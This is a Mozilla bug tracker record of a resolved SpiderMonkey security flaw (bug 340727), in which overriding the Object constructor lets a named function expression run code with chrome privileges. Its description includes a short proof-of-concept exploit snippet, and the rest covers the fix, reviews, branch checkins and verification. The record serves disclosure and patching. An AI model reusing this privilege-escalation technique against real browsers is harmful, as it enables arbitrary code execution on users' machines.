340727 - Arbitrary code execution by setting fun.__parent__ to a privileged object

Status: RESOLVED FIXED

(Core :: Security, defect, P2)

Description

[moz_bug_r_a4]

A named function created by function expression has a extra parent object that
has a property whose name is the function name.

  a = function b() {};
  a.__parent__.toSource();

  -> ({b:(function b() {})})

There is a way to set the parent object in question to a privileged object.
(I got the hint from Bug 338709.)

  Object = function() { return privileged_object; };
  a = function b() {};

Exploit:
  <marquee id="m">
  x = m.init.eval.prototype;
  x.w = window;
  Object = function() { return x; };
  var a = function b() { with (w) alert(Components.stack); };
  a.call({}); // to avoid the access check in js_ComputeThis.

Comment 1

[moz_bug_r_a4]

Attachment: testcase

Comment 2

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: Fix

If anybody's relying on this behavior already, then, IMO, they'll get what they deserve.

Comment 3

[Mike Shaver (:shaver -- probably not reading bugmail closely)]

Comment on attachment 224775 [details] [diff] [review]
Fix

sr=shaver

Comment 4

[Igor Bukanov]

Comment on attachment 224775 [details] [diff] [review]
Fix

This is an area where as I remember Rhino deviates from SpiderMonkey quite significantly. For named function expressions Rhino parser simply adds a variable initialized to the function itself avoiding an extra objects. It violates Ecma v3 since potentially user-visible  new Object is not called. But this is really the case of broken specs.

Comment 5

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into trunk.

Comment 6

[Brendan Eich [:brendan]]

(In reply to comment #4)
> (From update of attachment 224775 [details] [diff] [review] [edit])
> This is an area where as I remember Rhino deviates from SpiderMonkey quite
> significantly. For named function expressions Rhino parser simply adds a
> variable initialized to the function itself avoiding an extra objects. It
> violates Ecma v3 since potentially user-visible  new Object is not called. But
> this is really the case of broken specs.

Yes, here and in catch clause case, ECMA-262 goes off the rails.  It often (but not consistently) uses an internal constructor function that magically uses the "original Object.prototype value" as the prototype of the new object, and does not invoke the constructor function by its name.

For ES4, both cases should use lexical scope.

/be

Comment 7

[Jay Patel [:jay]]

Comment on attachment 224775 [details] [diff] [review]
Fix

a=jay for checkin on the 1.8.0 branch.

Comment 8

[Blake Kaplan (:mrbkap) (inactive)]

Fix checked into the 1.8 branches.

Comment 9

[Jay Patel [:jay]]

v.fixed on 1.8.0 branch with Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.5) Gecko/20060619 Firefox/1.5.0.5

Comment 10

[Alexander Sack]

Attachment: for 1.0.x

can't remember if the original applied cleanly. This one does for sure.